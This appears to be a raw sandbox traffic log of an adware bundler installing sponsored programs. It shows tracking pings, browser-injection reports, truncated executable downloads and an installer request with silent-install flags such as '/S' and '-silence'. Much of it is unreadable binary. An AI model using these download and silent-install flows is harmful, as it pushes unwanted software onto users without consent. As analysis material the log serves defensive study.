9M1qq2/zxahXpWqhUPDAQ0mV9LGFknq0VC/F75ksKSBmmLsagtYsKxl0Y5fiQx YuXMFI=
..x-amz-request-id: 42FFA66418C88AB9..Date: Tue, 10 Feb 2015 04:00:06 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423540807 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 7bIzjHqNtlOhFpuuRS5mv VQuRa3hpKXrllJGU91fjZITProgLBXdh1rD7 ZHX8P8kvHKFhWHbQ=

x-amz-request-id: 74D081B9EDE4105A

Date: Tue, 10 Feb 2015 04:00:07 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423540807 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: qN75T9yr8thAD4syKpF22uL3MrUo2BWb9mg1Cn4EnFe/Wi69tx 0jVo/58FUTBQ4/Ie9tHDfcDk=

x-amz-request-id: AE9665A7EF5821A9

Date: Tue, 10 Feb 2015 04:00:07 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: qN75T9
yr8thAD4syKpF22uL3MrUo2BWb9mg1Cn4EnFe/Wi69tx 0jVo/58FUTBQ4/Ie9tHDfcDk=
..x-amz-request-id: AE9665A7EF5821A9..Date: Tue, 10 Feb 2015 04:00:07 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=4&index_in_screen=1&index_in_session=4&0.5924351996598894 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:00 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:00 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?37332cae429e3908 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT

If-None-Match: "0b96c77303ecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Fri, 23 Jan 2015 02:29:11 GMT

Accept-Ranges: bytes

ETag: "803565fb436d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 57591

Date: Tue, 10 Feb 2015 04:00:54 GMT

Connection: keep-alive
MSCF............,...................I.................6Fm. .authroot.s
tl......8..CK...<T...g.v!M.d..f.%d..}K..5......dM*K..J.,%K"...!..=.
k..........{=/....{g.~...............'....6..N....w......(.$.>.7...
........'.....`.bx....^..$.'.^.K.C......<[email protected]
.....usXq.d.i.jF$.4.........KI.Q........A2m:..E.P|...(.^p..=G|.....m..
....  .6...H.e.....X'...%$r.Y.(..)........|...;...V^r.VM.._*X.I. ..4..
...*.....Y..`.0w.u...c.i.[..-...x..<.8.<.p..,..y.[v.Yn`......!.s
...4e......B...$.,..........w.Pd.)....,..#.%..h...8...`.A...8.i(.!.$/.
=.....i.\X.H......"...a...k...y6....F.._?\*.&..3.AJo.!..`....9....=.p.
u..u....f.f....w...?..S..I.;.....5._...F.f..G?$......."..kq.y'.6tJ.e%.
.G.n.....z<.pX"....1..g."........V:.H.-...!}LM..t..-.y.j&...n{..-.]
H. .....A.O.Xg..B...#[email protected]..*.....T...}o._./S..h@$
[email protected]..#.:?."....1..v.....&G...?O1x6"5.@..$.U...n.J...w
.Y.{..........E.N.&...&.rC..W.....M.........,.e.....&eI(/eSO.B..K...R.
 [email protected].....(..Y./;-..M5.0.H2.y....:...........a.U....%.S.).^.
...1.B..a..=...q...X .B....F.../..../.Z...'..t....C....,.^...N=..t%N|I
C.#.)6...q.E.J.i.E.>....".L........>...Vy.7.jxx......G........._
q.1^..H&.4Z......^.E.K 9.Xg...qO.6%>..T....;n..s.'u.-...=.........p
..p.Rn.........=.......F........d. d.AR.0U..........9b...=N..#....c.Ic
z......u.0............Y.q..b.wYE.......R...s..W....r].....hT....k.g..[
...s.....X..`=zb.>..../..=........J.N.h...(}.5.7. .;..=F..F...'.?..
2...3...=...B..`....{...f.`Kb..@..`Z.0!^8.t..<l.j..lI.P.q.>k<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bxxn1zIMFUnHMEPLcLAEKayHsl3kxpFBvUf9R3RNAZcMGhGbW0cyTw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=DealPly_NoPriceGong&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:25 GMT..Content-Length: 0..

GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Thu, 29 Mar 2012 18:19:50 GMT

Date: Tue, 03 Feb 2015 12:16:29 GMT

Expires: Wed, 03 Feb 2016 12:16:29 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33673

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 575021

Alternate-Protocol: 80:quic,p=0.02
...............F.?..<E..).b..(.........v..i.......E.,^"Y*.E......m|
#2...,.g...n.q$....;..v.f.y.o>.}...W....=.z.jq.77.Mq9/.|....^..?.[.
.r..c.....,.....&..m.g.^...\f.{z8....\e..O.<..?..^.O....oe~....u...
;."...U.w.....t6.....xs.Di/Ye.T.M|....]......:_foW~..<.z.v.{Y.]..O^
0.z.|......*DO..j.{.=_{.Cz....-U.n.x..=.../. '.x.{.Jo{|..j....n..l7..4
/.....T.{.rZ.3........C.jU..<..p.......'.V....e.J........?.m....fG.
..{......P.....t..?.B.X....k..s.c.K..-.".pS.n..P.6...:.Y.T5.4\.W;...U.
.44....;..,e.=...^..S?]c.i.C..O.h......_.....GK5.M..8....4.4.E..Q.<
...m.{[.....O.....=.lI..8....n....2.?.{/.....?&....}_...v5.....w..}..G
..w4.....l.V.......i.mw..&4Yi.@[&..........i.>.S%..aA0..fQ.hK..pP..
....<_......(.]..\-.R..z0Ym."....rPt........o.g..zM..!.P...p...Mi.l
w.rYx..|4..V.......0F..|4....<....1..-..S/....|Nx...;........".w.3.
{..Q>Z.i....x.Ut...:Jx. .3..f..G@Z.:.y..g4\j.v..B..]>...c...[.. 
z......\...:\.%.p...AB{[email protected].{?..d.[..dC....h...!X.V.w.[Q..
...:.h9\.i...........1.Ae.yr.W.........M.]..k...y...c.y.J.P..O..G....i
AJZ.{[email protected].}0.........^......&..5.....`.F.Y....<.......
....@[email protected]..`......V....78M.X yM.b.x(u....Q..f.l...f....E....
3.#..l.l...`1Y.t.N...M...o..ZR!.D.<..}.JFJ.bF..A.z.....z3.a....x.D.
..S9.D....N.n..j1...)f...$..?.z.Q>.....Q.3.'.n..P....x..|..v.....&l
t;...F..~..M.eh)..Q6..x..]..O.......G(@..N.H.... .Ip../.pjz....h.....t
UD..V.h2..........].Y4.N5........7j.}...3. [email protected]..}n4Pz..5.....h&
gt;...$...X0....U..S...u;...BV.A._ F.P.........T.F.6..I..b.%*..:..<<< skipped >>>

GET /downloader/network_adworkmedia_1/flvplayerkuiw/f5daecd74e316e46a59f4bd1d5099978?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=f5daecd74e316e46a59f4bd1d5099978&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N...(.v.;.`^.m....Nz$E?..)H\d.^"j..>
;.}..}.T.. (...tf.".BU..Sg...V:M......b<.._..Y....F.`.-.Fr...."....
._.y0Of......`.}\....c...};=.4mD...}.........".....T...w..y:.../.Y.9&l
t;.O.,...y..o\.....^..g..W.s1./N..,9...?..Ev2......r1...,=Yd.........z
M&.d1....a.-f./.~......P....O..A6.Gw>?...|:X|.g..|..F.}....7..X....
..z...f.W....S....".N..e0?./.n..Y.)......&k.'..../G#<..N..>v.t`&
gt;.d.O:.~@.;(2..\f'.{.....<.a.......t.....,..ZL..q6I....?5.r..`0..
.#'...i:c...[.b6.....~<;..f.v.}.......t6.'yr2.G.<....&.......3:_
.....Er.o..Q..2G.Nd.....x.u=........2O...f..i&.}.?.O.I2Z.X.)..<*...
.......|X......I:..fxn......O...`./..t.a2...I2]N..O.p|..*..G.. .e..sn.
......p.Bp:...X...6z..7.s.J.....j...78@.^.?...?..|.......r.:..-.._-...
....">.....y.9.c.|.Ui....||.1.>..$.. ..~.*.uhW.?.R.XK..>d#.i.
r2.2.>N.....`.I.9I....Z.....>...............Y......-..|......r6r
.C.I2..N....9.......M......o'wv...x..Y.......)..x. .......;.n..g./wv..
T.*...w.rG..8....L....3.s...^.:..Q..z.L.A..U.........][..j.K]q.K.?....
....B.............<.{..{M.....8<...{o.~o.lq-........{M..........
.|..n..._9...r9........ ..N..n.^wj.w.......C._<....,...M.`..T....x&
gt;....^../..<.G..?;....<..a........0x.........yA.Li.]*e....cD..
..#.....lG4XN..l.a?LZ..l..M.s0.]..uy..qk......._.`...(..[.l!...8.|..:A
 L..w.....RY....$.Q6..N....u......EYK{......av.E).m.....1B.7....\....[
.:...l.....|....f?.[Wa....*[email protected]]K.....8........9x.
.o.......F..'..o......m..././.;......N?.c....._..)...*...Tb.(....F<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=796c1daebeb52f4eabf469c6ed8ad1c0&uid=f5daecd74e316e46a59f4bd1d5099978&tokyo_csrf_key=9b63db90c65f953c4088a06eb9c87abd&tokyo_csrf_timestamp=1423540740&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=flvplayerkuiw&country=UA&hostBrowser=ff&unique_id=107e4dff93c730f0dfd7b0fba2aba7c7 HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: ht
HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4d4.............Wko.6.. .> v..#......6c.....B.. ..Dj$.G...w.D;v.fs.
v..D!yI..9<...y.......M..KS(@1#........\.J..?e......;..U.sKc...?.g.
4:W,..R.^Z.:....'...%[...a.tib.m.X........w.5.H...x.C8..L-....?s.....o
[S......t....27k. 6ME{.J.-.d8WkP...d1..$g......{....;W.x.'.1.W...,...8
...........[Im.t....UP0...E......b....s...,.6.y..Hr<...5.$.S...4...
_~...g..Oo./...._I.|..u<a..7.4]..ow.".HY..to)2n...j.W...R.akd.x.Y..
.i....b.......c......J0./....I..O.t.S%....k.2...yU ....%.F.......v..(.
......#...bVH...6....uQx..s._..,.B.........a......M.pg.N#.t.,..E]&.m..
v...:U....Q....~.T-k.....A.%....|../...c...wgi&z[......u.=..O..l0:? 3Q
9>..... .f_....pkv..".X.2D..).(.n..0.B.nS.)....-p.]..m.O..0....C..M
...h.v......T....Sp....Ne. WF.S.r....-.........../[email protected]....\)[email protected]
.r.5...........L...)8g.5.....v%...R....U...e|......m.]....1...d.Y....=
>\.Q....)....#.;..9..n.p~.. ..6S..g....l.D....Y...&<.......'...v
.Kz.$...;............Q2...K.m........]$....8..J....Mga0~B)....^.S.....
J`.......P......<[email protected]?lY..{.d&.Y&Hknz...[..'_;..=v...u.....X....
...%...e.V<....A.....iu....N..9R....GD$<.i[.$...Z...E../....Nh0.
>.....P.z........M....{..l.d.....:.{wzR?..'.O^Q.vE.9:....p........N
.o..%.f].......-~.\5..k..q.._dl0....l...y.9.h....i...O.52....e.N.(....
(.....q..L%.....0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2
015 03:59:01 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enc
oding: chunked..Vary: Accept-Encoding..Content-Encoding: gzip..4d4....
.........Wko.6.. .> v..#......6c.....B.. ..Dj$.G...w.D;v.fs.v..<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=GoobzoInfo HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:34 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:34 GMT..Content-Length: 0..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2wy0yopxw6nne.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Mon, 09 Feb 2015 16:11:25 GMT

Last-Modified: Mon, 09 Feb 2015 16:03:40 GMT

ETag: "54d8da5c-6721"

Expires: Mon, 09 Feb 2015 16:21:25 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 203

X-Cache: Hit from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Km67o-H9ZNiCWNtPb_HpCmmz89Za-vQFGfAMKa_tVQPDO9tXY_yBPA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2wy0yopxw6nne.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 04:51:17 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 08 Feb 2015 05:01:17 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 557

X-Cache: Hit from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nBdo1eh2InYs1NgOvqSymZMLmzsnVMGjDgSKhRtj1KkHzE3Jpx6PBw==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/7592848

Age: 43710

X-Cache: Hit from cloudfront

Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: m9tqmTmo56pGd0avRE7wBk8YbsMtU9lEKpo9V0OUwgHqKnwScVshxg==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..t.....2-t..............................!..5...D ..<[email protected]....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H

<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 500000-749999/7592848

Age: 43710

X-Cache: Hit from cloudfront

